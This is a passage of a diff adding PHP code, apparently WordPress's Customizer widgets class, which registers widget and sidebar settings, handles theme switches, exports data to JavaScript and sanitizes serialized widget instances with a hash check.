+				if ( empty( $value ) ) {
+					$value = array( '_multiwidget' => 1 );
+				}
+				if ( ! isset( $value[ $widget_number ] ) ) {
+					$value[ $widget_number ] = array();
+				}
+			}
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Remove pre-preview filters.
+	 *
+	 * Removes filters added in setup_widget_addition_previews()
+	 * to ensure widgets are populating the options during
+	 * 'widgets_init'.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function remove_prepreview_filters() {
+		foreach ( $this->_prepreview_added_filters as $prepreview_added_filter ) {
+			remove_filter( $prepreview_added_filter['hook'], $prepreview_added_filter['function'] );
+		}
+		$this->_prepreview_added_filters = array();
+	}
+
+	/**
+	 * Override sidebars_widgets for theme switch.
+	 *
+	 * When switching a theme via the Customizer, supply any previously-configured
+	 * sidebars_widgets from the target theme as the initial sidebars_widgets
+	 * setting. Also store the old theme's existing settings so that they can
+	 * be passed along for storing in the sidebars_widgets theme_mod when the
+	 * theme gets switched.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function override_sidebars_widgets_for_theme_switch() {
+		global $sidebars_widgets;
+
+		if ( $this->manager->doing_ajax() || $this->manager->is_theme_active() ) {
+			return;
+		}
+
+		$this->old_sidebars_widgets = wp_get_sidebars_widgets();
+		add_filter( 'customize_value_old_sidebars_widgets_data', array( $this, 'filter_customize_value_old_sidebars_widgets_data' ) );
+
+		// retrieve_widgets() looks at the global $sidebars_widgets
+		$sidebars_widgets = $this->old_sidebars_widgets;
+		$sidebars_widgets = retrieve_widgets( 'customize' );
+		add_filter( 'option_sidebars_widgets', array( $this, 'filter_option_sidebars_widgets_for_theme_switch' ), 1 );
+	}
+
+	/**
+	 * Filter old_sidebars_widgets_data Customizer setting.
+	 *
+	 * When switching themes, filter the Customizer setting
+	 * old_sidebars_widgets_data to supply initial $sidebars_widgets before they
+	 * were overridden by retrieve_widgets(). The value for
+	 * old_sidebars_widgets_data gets set in the old theme's sidebars_widgets
+	 * theme_mod.
+	 *
+	 * @see WP_Customize_Widgets::handle_theme_switch()
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $old_sidebars_widgets
+	 */
+	public function filter_customize_value_old_sidebars_widgets_data( $old_sidebars_widgets ) {
+		return $this->old_sidebars_widgets;
+	}
+
+	/**
+	 * Filter sidebars_widgets option for theme switch.
+	 *
+	 * When switching themes, the retrieve_widgets() function is run when the
+	 * Customizer initializes, and then the new sidebars_widgets here get
+	 * supplied as the default value for the sidebars_widgets option.
+	 *
+	 * @see WP_Customize_Widgets::handle_theme_switch()
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $sidebars_widgets
+	 */
+	public function filter_option_sidebars_widgets_for_theme_switch( $sidebars_widgets ) {
+		$sidebars_widgets = $GLOBALS['sidebars_widgets'];
+		$sidebars_widgets['array_version'] = 3;
+		return $sidebars_widgets;
+	}
+
+	/**
+	 * Make sure all widgets get loaded into the Customizer.
+	 *
+	 * Note: these actions are also fired in wp_ajax_update_widget().
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function customize_controls_init() {
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'load-widgets.php' );
+
+		/** This action is documented in wp-admin/includes/ajax-actions.php */
+		do_action( 'widgets.php' );
+
+		/** This action is documented in wp-admin/widgets.php */
+		do_action( 'sidebar_admin_setup' );
+	}
+
+	/**
+	 * Ensure widgets are available for all types of previews.
+	 *
+	 * When in preview, hook to 'customize_register' for settings
+	 * after WordPress is loaded so that all filters have been
+	 * initialized (e.g. Widget Visibility).
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function schedule_customize_register() {
+		if ( is_admin() ) { // @todo for some reason, $wp_customize->is_preview() is true here?
+			$this->customize_register();
+		} else {
+			add_action( 'wp', array( $this, 'customize_register' ) );
+		}
+	}
+
+	/**
+	 * Register Customizer settings and controls for all sidebars and widgets.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function customize_register() {
+		global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_sidebars;
+
+		$sidebars_widgets = array_merge(
+			array( 'wp_inactive_widgets' => array() ),
+			array_fill_keys( array_keys( $GLOBALS['wp_registered_sidebars'] ), array() ),
+			wp_get_sidebars_widgets()
+		);
+
+		$new_setting_ids = array();
+
+		/*
+		 * Register a setting for all widgets, including those which are active,
+		 * inactive, and orphaned since a widget may get suppressed from a sidebar
+		 * via a plugin (like Widget Visibility).
+		 */
+		foreach ( array_keys( $wp_registered_widgets ) as $widget_id ) {
+			$setting_id   = $this->get_setting_id( $widget_id );
+			$setting_args = $this->get_setting_args( $setting_id );
+
+			$setting_args['sanitize_callback']    = array( $this, 'sanitize_widget_instance' );
+			$setting_args['sanitize_js_callback'] = array( $this, 'sanitize_widget_js_instance' );
+
+			$this->manager->add_setting( $setting_id, $setting_args );
+
+			$new_setting_ids[] = $setting_id;
+		}
+
+		/*
+		 * Add a setting which will be supplied for the theme's sidebars_widgets
+		 * theme_mod when the the theme is switched.
+		 */
+		if ( ! $this->manager->is_theme_active() ) {
+			$setting_id = 'old_sidebars_widgets_data';
+			$setting_args = $this->get_setting_args( $setting_id, array(
+				'type' => 'global_variable',
+			) );
+			$this->manager->add_setting( $setting_id, $setting_args );
+		}
+
+		$this->manager->add_panel( 'widgets', array(
+			'title'       => __( 'Widgets' ),
+			'description' => __( 'Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars).' ),
+			'priority'    => 110,
+		) );
+
+		foreach ( $sidebars_widgets as $sidebar_id => $sidebar_widget_ids ) {
+			if ( empty( $sidebar_widget_ids ) ) {
+				$sidebar_widget_ids = array();
+			}
+
+			$is_registered_sidebar = isset( $GLOBALS['wp_registered_sidebars'][$sidebar_id] );
+			$is_inactive_widgets   = ( 'wp_inactive_widgets' === $sidebar_id );
+			$is_active_sidebar     = ( $is_registered_sidebar && ! $is_inactive_widgets );
+
+			// Add setting for managing the sidebar's widgets.
+			if ( $is_registered_sidebar || $is_inactive_widgets ) {
+				$setting_id   = sprintf( 'sidebars_widgets[%s]', $sidebar_id );
+				$setting_args = $this->get_setting_args( $setting_id );
+
+				$setting_args['sanitize_callback']    = array( $this, 'sanitize_sidebar_widgets' );
+				$setting_args['sanitize_js_callback'] = array( $this, 'sanitize_sidebar_widgets_js_instance' );
+
+				$this->manager->add_setting( $setting_id, $setting_args );
+				$new_setting_ids[] = $setting_id;
+
+				// Add section to contain controls.
+				$section_id = sprintf( 'sidebar-widgets-%s', $sidebar_id );
+				if ( $is_active_sidebar ) {
+
+					$section_args = array(
+						'title' => $GLOBALS['wp_registered_sidebars'][ $sidebar_id ]['name'],
+						'description' => $GLOBALS['wp_registered_sidebars'][ $sidebar_id ]['description'],
+						'priority' => array_search( $sidebar_id, array_keys( $wp_registered_sidebars ) ),
+						'panel' => 'widgets',
+						'sidebar_id' => $sidebar_id,
+					);
+
+					/**
+					 * Filter Customizer widget section arguments for a given sidebar.
+					 *
+					 * @since 3.9.0
+					 *
+					 * @param array      $section_args Array of Customizer widget section arguments.
+					 * @param string     $section_id   Customizer section ID.
+					 * @param int|string $sidebar_id   Sidebar ID.
+					 */
+					$section_args = apply_filters( 'customizer_widgets_section_args', $section_args, $section_id, $sidebar_id );
+
+					$section = new WP_Customize_Sidebar_Section( $this->manager, $section_id, $section_args );
+					$this->manager->add_section( $section );
+
+					$control = new WP_Widget_Area_Customize_Control( $this->manager, $setting_id, array(
+						'section'    => $section_id,
+						'sidebar_id' => $sidebar_id,
+						'priority'   => count( $sidebar_widget_ids ), // place 'Add Widget' and 'Reorder' buttons at end.
+					) );
+					$new_setting_ids[] = $setting_id;
+
+					$this->manager->add_control( $control );
+				}
+			}
+
+			// Add a control for each active widget (located in a sidebar).
+			foreach ( $sidebar_widget_ids as $i => $widget_id ) {
+
+				// Skip widgets that may have gone away due to a plugin being deactivated.
+				if ( ! $is_active_sidebar || ! isset( $GLOBALS['wp_registered_widgets'][$widget_id] ) ) {
+					continue;
+				}
+
+				$registered_widget = $GLOBALS['wp_registered_widgets'][$widget_id];
+				$setting_id        = $this->get_setting_id( $widget_id );
+				$id_base           = $GLOBALS['wp_registered_widget_controls'][$widget_id]['id_base'];
+
+				$control = new WP_Widget_Form_Customize_Control( $this->manager, $setting_id, array(
+					'label'          => $registered_widget['name'],
+					'section'        => $section_id,
+					'sidebar_id'     => $sidebar_id,
+					'widget_id'      => $widget_id,
+					'widget_id_base' => $id_base,
+					'priority'       => $i,
+					'width'          => $wp_registered_widget_controls[$widget_id]['width'],
+					'height'         => $wp_registered_widget_controls[$widget_id]['height'],
+					'is_wide'        => $this->is_wide_widget( $widget_id ),
+				) );
+				$this->manager->add_control( $control );
+			}
+		}
+
+		/*
+		 * We have to register these settings later than customize_preview_init
+		 * so that other filters have had a chance to run.
+		 */
+		if ( did_action( 'customize_preview_init' ) ) {
+			foreach ( $new_setting_ids as $new_setting_id ) {
+				$this->manager->get_setting( $new_setting_id )->preview();
+			}
+		}
+		$this->remove_prepreview_filters();
+	}
+
+	/**
+	 * Covert a widget_id into its corresponding Customizer setting ID (option name).
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param string $widget_id Widget ID.
+	 * @return string Maybe-parsed widget ID.
+	 */
+	public function get_setting_id( $widget_id ) {
+		$parsed_widget_id = $this->parse_widget_id( $widget_id );
+		$setting_id       = sprintf( 'widget_%s', $parsed_widget_id['id_base'] );
+
+		if ( ! is_null( $parsed_widget_id['number'] ) ) {
+			$setting_id .= sprintf( '[%d]', $parsed_widget_id['number'] );
+		}
+		return $setting_id;
+	}
+
+	/**
+	 * Determine whether the widget is considered "wide".
+	 *
+	 * Core widgets which may have controls wider than 250, but can
+	 * still be shown in the narrow Customizer panel. The RSS and Text
+	 * widgets in Core, for example, have widths of 400 and yet they
+	 * still render fine in the Customizer panel. This method will
+	 * return all Core widgets as being not wide, but this can be
+	 * overridden with the is_wide_widget_in_customizer filter.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param string $widget_id Widget ID.
+	 * @return bool Whether or not the widget is a "wide" widget.
+	 */
+	public function is_wide_widget( $widget_id ) {
+		global $wp_registered_widget_controls;
+
+		$parsed_widget_id = $this->parse_widget_id( $widget_id );
+		$width            = $wp_registered_widget_controls[$widget_id]['width'];
+		$is_core          = in_array( $parsed_widget_id['id_base'], $this->core_widget_id_bases );
+		$is_wide          = ( $width > 250 && ! $is_core );
+
+		/**
+		 * Filter whether the given widget is considered "wide".
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param bool   $is_wide   Whether the widget is wide, Default false.
+		 * @param string $widget_id Widget ID.
+		 */
+		return apply_filters( 'is_wide_widget_in_customizer', $is_wide, $widget_id );
+	}
+
+	/**
+	 * Covert a widget ID into its id_base and number components.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param string $widget_id Widget ID.
+	 * @return array Array containing a widget's id_base and number components.
+	 */
+	public function parse_widget_id( $widget_id ) {
+		$parsed = array(
+			'number' => null,
+			'id_base' => null,
+		);
+
+		if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $matches ) ) {
+			$parsed['id_base'] = $matches[1];
+			$parsed['number']  = intval( $matches[2] );
+		} else {
+			// likely an old single widget
+			$parsed['id_base'] = $widget_id;
+		}
+		return $parsed;
+	}
+
+	/**
+	 * Convert a widget setting ID (option path) to its id_base and number components.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param string $setting_id Widget setting ID.
+	 * @return WP_Error|array Array containing a widget's id_base and number components,
+	 *                        or a WP_Error object.
+	 */
+	public function parse_widget_setting_id( $setting_id ) {
+		if ( ! preg_match( '/^(widget_(.+?))(?:\[(\d+)\])?$/', $setting_id, $matches ) ) {
+			return new WP_Error( 'widget_setting_invalid_id' );
+		}
+
+		$id_base = $matches[2];
+		$number  = isset( $matches[3] ) ? intval( $matches[3] ) : null;
+
+		return compact( 'id_base', 'number' );
+	}
+
+	/**
+	 * Call admin_print_styles-widgets.php and admin_print_styles hooks to
+	 * allow custom styles from plugins.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function print_styles() {
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_styles-widgets.php' );
+
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_styles' );
+	}
+
+	/**
+	 * Call admin_print_scripts-widgets.php and admin_print_scripts hooks to
+	 * allow custom scripts from plugins.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function print_scripts() {
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_scripts-widgets.php' );
+
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_print_scripts' );
+	}
+
+	/**
+	 * Enqueue scripts and styles for Customizer panel and export data to JavaScript.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function enqueue_scripts() {
+		wp_enqueue_style( 'customize-widgets' );
+		wp_enqueue_script( 'customize-widgets' );
+
+		/** This action is documented in wp-admin/admin-header.php */
+		do_action( 'admin_enqueue_scripts', 'widgets.php' );
+
+		/*
+		 * Export available widgets with control_tpl removed from model
+		 * since plugins need templates to be in the DOM.
+		 */
+		$available_widgets = array();
+
+		foreach ( $this->get_available_widgets() as $available_widget ) {
+			unset( $available_widget['control_tpl'] );
+			$available_widgets[] = $available_widget;
+		}
+
+		$widget_reorder_nav_tpl = sprintf(
+			'<div class="widget-reorder-nav"><span class="move-widget" tabindex="0">%1$s</span><span class="move-widget-down" tabindex="0">%2$s</span><span class="move-widget-up" tabindex="0">%3$s</span></div>',
+			__( 'Move to another area&hellip;' ),
+			__( 'Move down' ),
+			__( 'Move up' )
+		);
+
+		$move_widget_area_tpl = str_replace(
+			array( '{description}', '{btn}' ),
+			array(
+				__( 'Select an area to move this widget into:' ),
+				_x( 'Move', 'Move widget' ),
+			),
+			'<div class="move-widget-area">
+				<p class="description">{description}</p>
+				<ul class="widget-area-select">
+					<% _.each( sidebars, function ( sidebar ){ %>
+						<li class="" data-id="<%- sidebar.id %>" title="<%- sidebar.description %>" tabindex="0"><%- sidebar.name %></li>
+					<% }); %>
+				</ul>
+				<div class="move-widget-actions">
+					<button class="move-widget-btn button-secondary" type="button">{btn}</button>
+				</div>
+			</div>'
+		);
+
+		global $wp_scripts;
+
+		$settings = array(
+			'nonce'                => wp_create_nonce( 'update-widget' ),
+			'registeredSidebars'   => array_values( $GLOBALS['wp_registered_sidebars'] ),
+			'registeredWidgets'    => $GLOBALS['wp_registered_widgets'],
+			'availableWidgets'     => $available_widgets, // @todo Merge this with registered_widgets
+			'l10n' => array(
+				'saveBtnLabel'     => __( 'Apply' ),
+				'saveBtnTooltip'   => __( 'Save and preview changes before publishing them.' ),
+				'removeBtnLabel'   => __( 'Remove' ),
+				'removeBtnTooltip' => __( 'Trash widget by moving it to the inactive widgets sidebar.' ),
+				'error'            => __( 'An error has occurred. Please reload the page and try again.' ),
+				'widgetMovedUp'    => __( 'Widget moved up' ),
+				'widgetMovedDown'  => __( 'Widget moved down' ),
+			),
+			'tpl' => array(
+				'widgetReorderNav' => $widget_reorder_nav_tpl,
+				'moveWidgetArea'   => $move_widget_area_tpl,
+			),
+		);
+
+		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
+			unset( $registered_widget['callback'] ); // may not be JSON-serializeable
+		}
+
+		$wp_scripts->add_data(
+			'customize-widgets',
+			'data',
+			sprintf( 'var _wpCustomizeWidgetsSettings = %s;', wp_json_encode( $settings ) )
+		);
+	}
+
+	/**
+	 * Render the widget form control templates into the DOM.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function output_widget_control_templates() {
+		?>
+		<div id="widgets-left"><!-- compatibility with JS which looks for widget templates here -->
+		<div id="available-widgets">
+			<div id="available-widgets-filter">
+				<label class="screen-reader-text" for="widgets-search"><?php _e( 'Search Widgets' ); ?></label>
+				<input type="search" id="widgets-search" placeholder="<?php esc_attr_e( 'Search widgets&hellip;' ) ?>" />
+			</div>
+			<?php foreach ( $this->get_available_widgets() as $available_widget ): ?>
+				<div id="widget-tpl-<?php echo esc_attr( $available_widget['id'] ) ?>" data-widget-id="<?php echo esc_attr( $available_widget['id'] ) ?>" class="widget-tpl <?php echo esc_attr( $available_widget['id'] ) ?>" tabindex="0">
+					<?php echo $available_widget['control_tpl']; ?>
+				</div>
+			<?php endforeach; ?>
+		</div><!-- #available-widgets -->
+		</div><!-- #widgets-left -->
+		<?php
+	}
+
+	/**
+	 * Call admin_print_footer_scripts and admin_print_scripts hooks to
+	 * allow custom scripts from plugins.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function print_footer_scripts() {
+		/** This action is documented in wp-admin/admin-footer.php */
+		do_action( 'admin_print_footer_scripts' );
+
+		/** This action is documented in wp-admin/admin-footer.php */
+		do_action( 'admin_footer-widgets.php' );
+	}
+
+	/**
+	 * Get common arguments to supply when constructing a Customizer setting.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param string $id        Widget setting ID.
+	 * @param array  $overrides Array of setting overrides.
+	 * @return array Possibly modified setting arguments.
+	 */
+	public function get_setting_args( $id, $overrides = array() ) {
+		$args = array(
+			'type'       => 'option',
+			'capability' => 'edit_theme_options',
+			'transport'  => 'refresh',
+			'default'    => array(),
+		);
+		$args = array_merge( $args, $overrides );
+
+		/**
+		 * Filter the common arguments supplied when constructing a Customizer setting.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @see WP_Customize_Setting
+		 *
+		 * @param array  $args Array of Customizer setting arguments.
+		 * @param string $id   Widget setting ID.
+		 */
+		return apply_filters( 'widget_customizer_setting_args', $args, $id );
+	}
+
+	/**
+	 * Make sure that sidebar widget arrays only ever contain widget IDS.
+	 *
+	 * Used as the 'sanitize_callback' for each $sidebars_widgets setting.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $widget_ids Array of widget IDs.
+	 * @return array Array of sanitized widget IDs.
+	 */
+	public function sanitize_sidebar_widgets( $widget_ids ) {
+		global $wp_registered_widgets;
+
+		$widget_ids           = array_map( 'strval', (array) $widget_ids );
+		$sanitized_widget_ids = array();
+
+		foreach ( $widget_ids as $widget_id ) {
+			if ( array_key_exists( $widget_id, $wp_registered_widgets ) ) {
+				$sanitized_widget_ids[] = $widget_id;
+			}
+		}
+		return $sanitized_widget_ids;
+	}
+
+	/**
+	 * Build up an index of all available widgets for use in Backbone models.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @see wp_list_widgets()
+	 *
+	 * @return array List of available widgets.
+	 */
+	public function get_available_widgets() {
+		static $available_widgets = array();
+		if ( ! empty( $available_widgets ) ) {
+			return $available_widgets;
+		}
+
+		global $wp_registered_widgets, $wp_registered_widget_controls;
+		require_once ABSPATH . '/wp-admin/includes/widgets.php'; // for next_widget_id_number()
+
+		$sort = $wp_registered_widgets;
+		usort( $sort, array( $this, '_sort_name_callback' ) );
+		$done = array();
+
+		foreach ( $sort as $widget ) {
+			if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget
+				continue;
+			}
+
+			$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
+			$done[]  = $widget['callback'];
+
+			if ( ! isset( $widget['params'][0] ) ) {
+				$widget['params'][0] = array();
+			}
+
+			$available_widget = $widget;
+			unset( $available_widget['callback'] ); // not serializable to JSON
+
+			$args = array(
+				'widget_id'   => $widget['id'],
+				'widget_name' => $widget['name'],
+				'_display'    => 'template',
+			);
+
+			$is_disabled     = false;
+			$is_multi_widget = ( isset( $wp_registered_widget_controls[$widget['id']]['id_base'] ) && isset( $widget['params'][0]['number'] ) );
+			if ( $is_multi_widget ) {
+				$id_base            = $wp_registered_widget_controls[$widget['id']]['id_base'];
+				$args['_temp_id']   = "$id_base-__i__";
+				$args['_multi_num'] = next_widget_id_number( $id_base );
+				$args['_add']       = 'multi';
+			} else {
+				$args['_add'] = 'single';
+
+				if ( $sidebar && 'wp_inactive_widgets' !== $sidebar ) {
+					$is_disabled = true;
+				}
+				$id_base = $widget['id'];
+			}
+
+			$list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+			$control_tpl = $this->get_widget_control( $list_widget_controls_args );
+
+			// The properties here are mapped to the Backbone Widget model.
+			$available_widget = array_merge( $available_widget, array(
+				'temp_id'      => isset( $args['_temp_id'] ) ? $args['_temp_id'] : null,
+				'is_multi'     => $is_multi_widget,
+				'control_tpl'  => $control_tpl,
+				'multi_number' => ( $args['_add'] === 'multi' ) ? $args['_multi_num'] : false,
+				'is_disabled'  => $is_disabled,
+				'id_base'      => $id_base,
+				'transport'    => 'refresh',
+				'width'        => $wp_registered_widget_controls[$widget['id']]['width'],
+				'height'       => $wp_registered_widget_controls[$widget['id']]['height'],
+				'is_wide'      => $this->is_wide_widget( $widget['id'] ),
+			) );
+
+			$available_widgets[] = $available_widget;
+		}
+
+		return $available_widgets;
+	}
+
+	/**
+	 * Naturally order available widgets by name.
+	 *
+	 * @since 3.9.0
+	 * @static
+	 * @access protected
+	 *
+	 * @param array $widget_a The first widget to compare.
+	 * @param array $widget_b The second widget to compare.
+	 * @return int Reorder position for the current widget comparison.
+	 */
+	protected function _sort_name_callback( $widget_a, $widget_b ) {
+		return strnatcasecmp( $widget_a['name'], $widget_b['name'] );
+	}
+
+	/**
+	 * Get the widget control markup.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $args Widget control arguments.
+	 * @return string Widget control form HTML markup.
+	 */
+	public function get_widget_control( $args ) {
+		ob_start();
+
+		call_user_func_array( 'wp_widget_control', $args );
+		$replacements = array(
+			'<form action="" method="post">' => '<div class="form">',
+			'</form>' => '</div><!-- .form -->',
+		);
+
+		$control_tpl = ob_get_clean();
+
+		$control_tpl = str_replace( array_keys( $replacements ), array_values( $replacements ), $control_tpl );
+
+		return $control_tpl;
+	}
+
+	/**
+	 * Add hooks for the Customizer preview.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function customize_preview_init() {
+		add_filter( 'sidebars_widgets',   array( $this, 'preview_sidebars_widgets' ), 1 );
+		add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue' ) );
+		add_action( 'wp_print_styles',    array( $this, 'print_preview_css' ), 1 );
+		add_action( 'wp_footer',          array( $this, 'export_preview_data' ), 20 );
+	}
+
+	/**
+	 * When previewing, make sure the proper previewing widgets are used.
+	 *
+	 * Because wp_get_sidebars_widgets() gets called early at init
+	 * (via wp_convert_widget_settings()) and can set global variable
+	 * $_wp_sidebars_widgets to the value of get_option( 'sidebars_widgets' )
+	 * before the Customizer preview filter is added, we have to reset
+	 * it after the filter has been added.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $sidebars_widgets List of widgets for the current sidebar.
+	 */
+	public function preview_sidebars_widgets( $sidebars_widgets ) {
+		$sidebars_widgets = get_option( 'sidebars_widgets' );
+
+		unset( $sidebars_widgets['array_version'] );
+		return $sidebars_widgets;
+	}
+
+	/**
+	 * Enqueue scripts for the Customizer preview.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function customize_preview_enqueue() {
+		wp_enqueue_script( 'customize-preview-widgets' );
+	}
+
+	/**
+	 * Insert default style for highlighted widget at early point so theme
+	 * stylesheet can override.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @action wp_print_styles
+	 */
+	public function print_preview_css() {
+		?>
+		<style>
+		.widget-customizer-highlighted-widget {
+			outline: none;
+			-webkit-box-shadow: 0 0 2px rgba(30,140,190,0.8);
+			box-shadow: 0 0 2px rgba(30,140,190,0.8);
+			position: relative;
+			z-index: 1;
+		}
+		</style>
+		<?php
+	}
+
+	/**
+	 * At the very end of the page, at the very end of the wp_footer,
+	 * communicate the sidebars that appeared on the page.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 */
+	public function export_preview_data() {
+
+		// Prepare Customizer settings to pass to JavaScript.
+		$settings = array(
+			'renderedSidebars'   => array_fill_keys( array_unique( $this->rendered_sidebars ), true ),
+			'renderedWidgets'    => array_fill_keys( array_keys( $this->rendered_widgets ), true ),
+			'registeredSidebars' => array_values( $GLOBALS['wp_registered_sidebars'] ),
+			'registeredWidgets'  => $GLOBALS['wp_registered_widgets'],
+			'l10n'               => array(
+				'widgetTooltip' => __( 'Shift-click to edit this widget.' ),
+			),
+		);
+		foreach ( $settings['registeredWidgets'] as &$registered_widget ) {
+			unset( $registered_widget['callback'] ); // may not be JSON-serializeable
+		}
+
+		?>
+		<script type="text/javascript">
+			var _wpWidgetCustomizerPreviewSettings = <?php echo wp_json_encode( $settings ); ?>;
+		</script>
+		<?php
+	}
+
+	/**
+	 * Keep track of the widgets that were rendered.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $widget Rendered widget to tally.
+	 */
+	public function tally_rendered_widgets( $widget ) {
+		$this->rendered_widgets[ $widget['id'] ] = true;
+	}
+
+	/**
+	 * Determine if a widget is rendered on the page.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $widget_id Widget ID to check.
+	 * @return bool Whether the widget is rendered.
+	 */
+	public function is_widget_rendered( $widget_id ) {
+		return in_array( $widget_id, $this->rendered_widgets );
+	}
+
+	/**
+	 * Determine if a sidebar is rendered on the page.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $sidebar_id Sidebar ID to check.
+	 * @return bool Whether the sidebar is rendered.
+	 */
+	public function is_sidebar_rendered( $sidebar_id ) {
+		return in_array( $sidebar_id, $this->rendered_sidebars );
+	}
+
+	/**
+	 * Tally the sidebars rendered via is_active_sidebar().
+	 *
+	 * Keep track of the times that is_active_sidebar() is called
+	 * in the template, and assume that this means that the sidebar
+	 * would be rendered on the template if there were widgets
+	 * populating it.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param bool   $is_active  Whether the sidebar is active.
+	 * @param string $sidebar_id Sidebar ID.
+	 */
+	public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) {
+		if ( isset( $GLOBALS['wp_registered_sidebars'][$sidebar_id] ) ) {
+			$this->rendered_sidebars[] = $sidebar_id;
+		}
+		/*
+		 * We may need to force this to true, and also force-true the value
+		 * for 'dynamic_sidebar_has_widgets' if we want to ensure that there
+		 * is an area to drop widgets into, if the sidebar is empty.
+		 */
+		return $is_active;
+	}
+
+	/**
+	 * Tally the sidebars rendered via dynamic_sidebar().
+	 *
+	 * Keep track of the times that dynamic_sidebar() is called in the template,
+	 * and assume this means the sidebar would be rendered on the template if
+	 * there were widgets populating it.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param bool   $has_widgets Whether the current sidebar has widgets.
+	 * @param string $sidebar_id  Sidebar ID.
+	 */
+	public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) {
+		if ( isset( $GLOBALS['wp_registered_sidebars'][$sidebar_id] ) ) {
+			$this->rendered_sidebars[] = $sidebar_id;
+		}
+
+		/*
+		 * We may need to force this to true, and also force-true the value
+		 * for 'is_active_sidebar' if we want to ensure there is an area to
+		 * drop widgets into, if the sidebar is empty.
+		 */
+		return $has_widgets;
+	}
+
+	/**
+	 * Get MAC for a serialized widget instance string.
+	 *
+	 * Allows values posted back from JS to be rejected if any tampering of the
+	 * data has occurred.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 *
+	 * @param string $serialized_instance Widget instance.
+	 * @return string MAC for serialized widget instance.
+	 */
+	protected function get_instance_hash_key( $serialized_instance ) {
+		return wp_hash( $serialized_instance );
+	}
+
+	/**
+	 * Sanitize a widget instance.
+	 *
+	 * Unserialize the JS-instance for storing in the options. It's important
+	 * that this filter only get applied to an instance once.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $value Widget instance to sanitize.
+	 * @return array Sanitized widget instance.
+	 */
+	public function sanitize_widget_instance( $value ) {
+		if ( $value === array() ) {
+			return $value;
+		}
+
+		if ( empty( $value['is_widget_customizer_js_value'] )
+			|| empty( $value['instance_hash_key'] )
+			|| empty( $value['encoded_serialized_instance'] ) )
+		{
+			return null;
+		}
+
+		$decoded = base64_decode( $value['encoded_serialized_instance'], true );
+		if ( false === $decoded ) {
+			return null;
+		}
+
+		if ( $this->get_instance_hash_key( $decoded ) !== $value['instance_hash_key'] ) {
+			return null;
+		}
+
+		$instance = unserialize( $decoded );
+		if ( false === $instance ) {
+			return null;
+		}
+
+		return $instance;
+	}
+
+	/**
+	 * Convert widget instance into JSON-representable format.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $value Widget instance to convert to JSON.
+	 * @return array JSON-converted widget instance.
+	 */
+	public function sanitize_widget_js_instance( $value ) {
+		if ( empty( $value['is_widget_customizer_js_value'] ) ) {
+			$serialized = serialize( $value );
+
+			$value = array(
+				'encoded_serialized_instance'   => base64_encode( $serialized ),
+				'title'                         => empty( $value['title'] ) ? '' : $value['title'],
+				'is_widget_customizer_js_value' => true,
+				'instance_hash_key'             => $this->get_instance_hash_key( $serialized ),
+			);
+		}
+		return $value;
+	}
+
+	/**
+	 * Strip out widget IDs for widgets which are no longer registered.
+	 *
+	 * One example where this might happen is when a plugin orphans a widget
+	 * in a sidebar upon deactivation.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @param array $widget_ids List of widget IDs.
+	 * @return array Parsed list of widget IDs.
+	 */
+	public function sanitize_sidebar_widgets_js_instance( $widget_ids ) {
+		global $wp_registered_widgets;
